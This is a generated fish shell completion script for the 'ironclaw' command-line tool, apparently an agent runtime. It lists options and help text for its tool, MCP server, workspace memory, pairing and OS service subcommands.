complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s d -l dir -d 'Directory to remove tool from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the secret (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l client-id -d 'OAuth client ID (if authentication is required)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l auth-url -d 'OAuth authorization URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l token-url -d 'OAuth token URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l scopes -d 'Scopes to request (comma-separated)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l description -d 'Server description' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the token (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s u -l user -d 'User ID for authentication (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l enable -d 'Enable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l disable -d 'Disable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s l -l limit -d 'Maximum number of results' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s a -l append -d 'Append instead of overwrite'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s d -l depth -d 'Maximum depth to traverse' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l json -d 'Output as JSON'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s h -l help -d 'Print help'
